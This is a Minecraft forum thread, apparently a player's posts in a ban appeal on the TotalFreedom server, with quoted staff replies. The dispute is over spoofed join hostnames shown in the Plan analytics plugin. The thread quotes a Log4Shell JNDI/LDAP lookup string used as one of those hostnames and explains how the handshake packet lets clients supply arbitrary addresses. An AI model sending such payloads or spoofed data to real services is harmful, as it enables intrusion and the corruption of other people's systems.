Posts by eva

    To be honest I get where people are coming from, it would be much more simplistic to just have upvotes and downvotes but why exactly is my ban appeal being used as a reasoning to add it?

    You (and others) went out your way to create fake and in a lot of cases offensive hostnames that were in no way shape or for real or possible to be real.

    If they were offensive I wish to request the hostnames that I used.

    I'd also like to receive a copy privately of the host names I used to reference them against my list of ones I think I used for comparison purposes.

    I'd like to ask of anybody who wants to fight the ban for me to step down and leave it be for now as there has been some developments,
    Sorry but I don't think it is feasible to continue fighting against this thing anymore. I am formally also stepping down from my argument as it is getting me nowhere.


    I don't get why I should still be persecuted for this. It's not an exploit anymore and it would not have affected anything at that time, I am denying that I intentionally attempted this, let me repeat again, I intended for it to be a joke not an attempt, I am not your average naive person who would try something to cause disrupt and I knew how patched it was regardless of the patch statuses on the network itself. Point is that most of the stuff TotalFreedom uses come from third parties (Paper/Scissors fork of paper so falls under same umbrella) and plugins, mainly if Paper patched it it'd have been fixed on all plugins which if they used Log4J separately would've patched it themselves nearly instantaneous when it publicly surfaced and made headlines. Any person running a server would also follow suit if appropriate but newer Java versions did not feel the brute of the CVE as it was mostly targeted at older versions, the patches in December only fixed the remaining issues. Nothing would have been affected regardless since it was quite clear that it had been all fixed on everything back in December and I have never ONCE abused an actual CVE to ever to harm a service or do anything with it regardless, I only manipulate CVEs locally on test machines (VMs and other stuff like that), not on Minecraft servers, not on public services, not outside my local network. It's simply not my thing and I have never broken any rules technically speaking.

    A patched CVE loses its status as a critical vulnerability/exploit, attempts don't even matter after the official patch of the software, I thought I also said that I intended it to be a joke and not an attempt? I did this because of how funny and ridiculous Log4J was and I wanted to make a joke reference about it, not to directly target the server.

    I'll once again state, you attempted (unsuccessfully) to exploit Log4J on the network. Everything beyond that is ultimately irrelevant, just because we had patched it / put things in place to stop it, doesn't mean you didn't attempt it.

    Ignoring all of that even if I did invalidate the log4j bit and review your ban, the duration would likely get extended due to the number of offences you committed compared to others (As I said, being the 2nd largest offender)

    Yes but as a whole by the time I have attempted this the entire CVE was well-patched in the Log4J library officially, the resource name "get_balls" had no intents of ever reaching a destination in the first place unless I specified a domain name extension or it internally routed to somewhere, There's nothing written in the Log4J library routes it to anywhere else other than what's specified (does not append .com or anything of the sort) and it needs to be a functional LDAP server which was not plausible in my case, why should this specifically on it's own be considered a primary reason of extension onto the duration? I intended this to be a simple joke alongside with the other fake addresses such as the "|||||||||||||||||||" one and I wasn't even directly intending for it to cause stuff to occur on any part of the network, Log4J never intended for LDAP to be accessible in any string and Join Addresses aren't even parsed using Log4J per code investigation on my end. Nothing would have happened in a scenario where I was to log in and the network was vulnerable since it would need to be logged via Log4J, it's simply illogical to have join addresses being logged to a log other than for debug purposes but debug code generally gets removed/disabled in releases of any software so nothing should've had a reason to pass it to Log4J. I personally considered it to be harmless as at that point in the time it was patched to be not accessible whatsoever.

    Why would she even attempt to exploit a vulnerability that she knew was already patched and (for reasons I've stated before) wouldn't have worked anyways?

    Exactly, I thought it was already known that I develop software and use Java a ton?

    As I've mentioned in the ban appeal thread for veast I've been following this closely myself as I already had my own infrastructure to keep clean from it since I had services utilizing Log4J running, I don't try stuff if it is vulnerable and I most certainly do not use these exploits on vulnerable services as I am aware of the impact it could cause. I assure that I wouldn't have connected with it while this CVE was active and I don't see further as to why it could've caused damages, only thing it would cause at most was a stack trace but I expected all of TF's infrastructure to be updated at this period in time or else that'd just be bad security practice. Most plugins and builds of paper were patched shortly after its surfacing.

    So we did not use an exploit in the sense of a software having a vulnerability but in the context of abusing said software to create fake host names resulting in bans issued because of the inconvenience to clear said host names from the database?

    You (and others) went out your way to create fake and in a lot of cases offensive hostnames that were in no way shape or for real or possible to be real. It creates false information and is abusing the way in which the system works to create a non-intended result (Hence an exploit). Bans were issued because they were often offensive and because you were doing something that was not the intended function of the system.

    Yes I'll admit to the fake host names but I was banned for extra months for attempting a non-functional whatsoever CVE that was patched months prior, by the time all of this happened in April there should have been no parts of the network to be vulnerable to such attacks and also the lookup is really strict, I provided "get_balls" however it will not attempt to resolve anything other than that, which means it does not append .com, .net etc. There's also no components of any server using Log4J to log host-names so if the server was vulnerable to such string at that time nothing would've happened and if something were to do it there would simply be a resource resolution error, Video referenced all this and provided stack traces in his latest reply on my other thread showing that if the server was in a scenario to be vulnerable to this that it would have simply just not have done anything except create a stack trace. I'd like this to be looked into since I don't think I'm in the wrong for this as I am completely aware about the workings of this and have watched this CVE closely, I wouldn't be so naive regarding this considering I have experience with Java and it is one of my top used daily on the go programming languages.

    Except it's not an exploit.

    The reason it's been classed as one is because these weren't legitimate hostnames, they weren't cases of people buying a domain and pointing it to TF, those individuals were un-banned and apologies issued. In these cases individuals went out of their way to spoof hostnames locally and pass false information to the server, which is why it's been classed as an exploit, and quite clearly is not the behaviour we intend. Due to the amount of time it then took to remove these (In some cases quite offensive) hostnames, bans were issued accordingly.

    So we did not use an exploit in the sense of a software having a vulnerability but in the context of abusing said software to create fake host names resulting in bans issued because of the inconvenience to clear said host names from the database?

    You still abused an exploit which is still bannable. The exploit in question abused a vulnerability in Plan which clogged it up with bogus data, making legitimate data harder to access, so yes, it did have 'harmful' effects on the server.

    You would have been spared from being banned if you reported the vulnerability in Plan but you didn't which is a violation of both the old and new conduct policies so a ban was rightfully issued.

    Sorry to break it to you but there is NO vulnerability/exploits or anything similar in Plan, the server's software (Scissors/Paper) or Minecraft's Java protocol.

    Host names that you saw in Plan is all information that Plan grabs from the Bukkit/Spigot API including but not limited to hostnames or join addresses,

    A quick run down of how this works,

    So you connect with an IP and a Port, when you are using a domain whatever is inputted into Minecraft's server address field in the Multiplayer menu is passed when the client and the server do a handshake, on the serverbound side minecraft sends the follwing information:

    Protocol Version (The client's Protocol Version)

    Server Address (Inputted in the server address bar)

    Server Port (defaults to 25565 unless a port is specified)

    Next State (Status or Login)

    "Hostname or IP, e.g. localhost or, that was used to connect. The Notchian server does not use this information. Note that SRV records are a simple redirect, e.g. if points to, users connecting to will provide as server address in addition to connecting to it. " - You may view the packet and data it is sending to the server here. (Serverbound side)

    So theoretically if you make a host name of your choosing and redirect it over to the IP address of TotalFreedom and that host name was inputted in the Minecraft server address bar it is sent by the client to the server in the handshake packets. In this case what is happening is the Bukkit/Spigot API is storing this inside the player's data.

    After this data is sent it is stored in the player's data by the Bukkit/Spigot API, which every Bukkit/Spigot/Paper plugin uses including but not limited to the Plan plugin. Essentially Plan is grabbing this stored data value and saving it to the 'Join Addresses' database, thus it is not an issue or vulnerability with Plan or anything else, simply it is the way it was designed and it is working as it was intended to by the developers, Minecraft does not check the legitimacy of a domain and hence the host name in question can be anything you want it to, doing so would be very impractical and in most cases with games imposing a similar multiplayer structure do the same if they have a reason to send the join address.

    In addition there is no proper way to fix this without some consequences, if you are going to check every domain or limit them to TotalFreedom domains it will require some extra things like pinging the host name to see if it resolves which could create problems and delay connection times and custom legitimate domains hosted by people that do lead to the TotalFreedom server will not work anymore, there are also some more issues stated in a few replies above this one and the only way to resolve this problem is you either hide the 'Join Addresses' analytics or remove the Plan plugin which either of won't happen.

    So calling this a vulnerability in Plan is a bit of a misconception as there is no vulnerability to begin with, it's simply how the Minecraft protocol works and that is the hard truth, the only people you can really blame are Mojang/Microsoft but this is not an issue with other servers out there, either way this itself is a dilemma.

    Mojang/Microsoft won't fix this, there is nothing to fix to begin with as it is working as it was designed to unless you try and push them to change which requires a lot of community attention seeking. Most of the Minecraft community will see this as not a huge problem and nothing will be changed, sorry to say but I didn't write the protocol so I can't be put to blame for this data being sent by the client in the first place.

    Fixing this on the server-side may create complications with connections but I'm not saying it will, if you do decide to ping addresses what if the address is legitimate but the packet is dropped? In return the connection request instigated by the player would be dropped which would be problematic. Simply put every Plugin is using the information provided by the Bukkit/Spigot API in which said information about the player used by the Bukkit/Spigot API is provided by the Minecraft protocol itself in the handshake and other packets.

    The following ban reasoning "Abuse of an exploit in Plan to create fake host names." does not make a whole pile of sense when you are provided with all of this context, I'd personally paraphrase this to "Manipulation of analytics displayed by Plan to display non-legitimate host names."

    At the end of the day there is no exploit we abused. Not a vulnerability in a plugin or anything else, everything is simply working as intended by the developers of the protocol (Mojang/Microsoft), there is no other way for plugins or the server to grab host names other than the one that the Minecraft client provides to the server in the handshake packet, what you are persecuting us for is partial damage to a database in which said method used can not be resolved. Unless you want to compromise the functionality of connecting to the server or not allow people to make custom FQDNs which are legitimate that do route to TotalFreedom there is no way this can be solved.

    I know what I am talking about, I've been working with the Minecraft protocol for a long time, I know the ins and outs of it and additionally I also have great experience in programming software using Java and I know what is going on in Plan's source code when it is getting the host names to store them. I've coded a handful of Minecraft plugins myself and I have projects that I still maintain to this day that are using the Minecraft protocol, I also even made mods that are utilizing the Minecraft protocol.

    1. Minecraft name:

    evax64 (formerly eva67x)

    2. Discord username and discriminator (username#discriminator) (if any):


    3. Approximate date of indefinite ban:

    9th of October 2022

    4. Reason for an indefinite ban. Please do not lie and try to be sincere and apologize as applicable:

    Creating fake host names that were displayed on the Plan page, (apparently also banned for extra time for "attempting to exploit with Log4Shell" but I don't know at this point as I've clearly stated it was a joke address with the rest of them and recently publicly dismissed that it caused or could have caused any harm to the server),

    I'd like to also apologize for any inconveniences caused with clearing the malformed data from the databases mentioned (Plan) and I would like to seek an un-ban as I think my actions have not made an overly negative impact on the server other than showing fake join addresses on Plan. I would also like to state this was a one-off thing and I had no further intentions after the 12th of April or current intentions to do such actions like this again.

    5. Do you agree to follow our community guidelines ( and all the conditions stated above?

    I agree to the community guidelines.

    I'm just trying to clear out this stuff (4 (additional) months for "Log4Shell") off my ban as it had no reason to begin with to be handed out on the ban, now that I've provided join dates there should be no more issues in validating that this was done in a time when everything regarding the Log4Shell CVE was completely patched. Eitherway it would've not affected anything and I did not know about this whole join address stuff until April 12th this year despite having prior knowledge that Minecraft just passes the address in the server address box as I am familiar with the Java protocol, after I've conducted a scrub through the entirety of Plan in areas regarding and including Join Addresses my findings show that nothing is passed of such to any logger using Log4J or any other type of logger at all as there is. This should now prove that there is no further reasoning that me joining with such an address even if it was joined with in the Log4Shell CVE's most destructive and active period would have done anything to the server since Join Addresses do not get logged, it's simple. The address used in the string "${jndi:ldap://get_balls}" is clearly labelled "get_balls" with no domain extension, thus it has no reason to resolve anywhere, IF the server was vulnerable there would simply have been an error thrown in the logs and the operation of software using Log4J would've continued as normal with no repercussions following after. This concludes what I have to say about this whole Log4Shell stuff, I've already provided enough evidence leading to the string not being harmful in any way to software using patched or vulnerable builds of the Log4J library.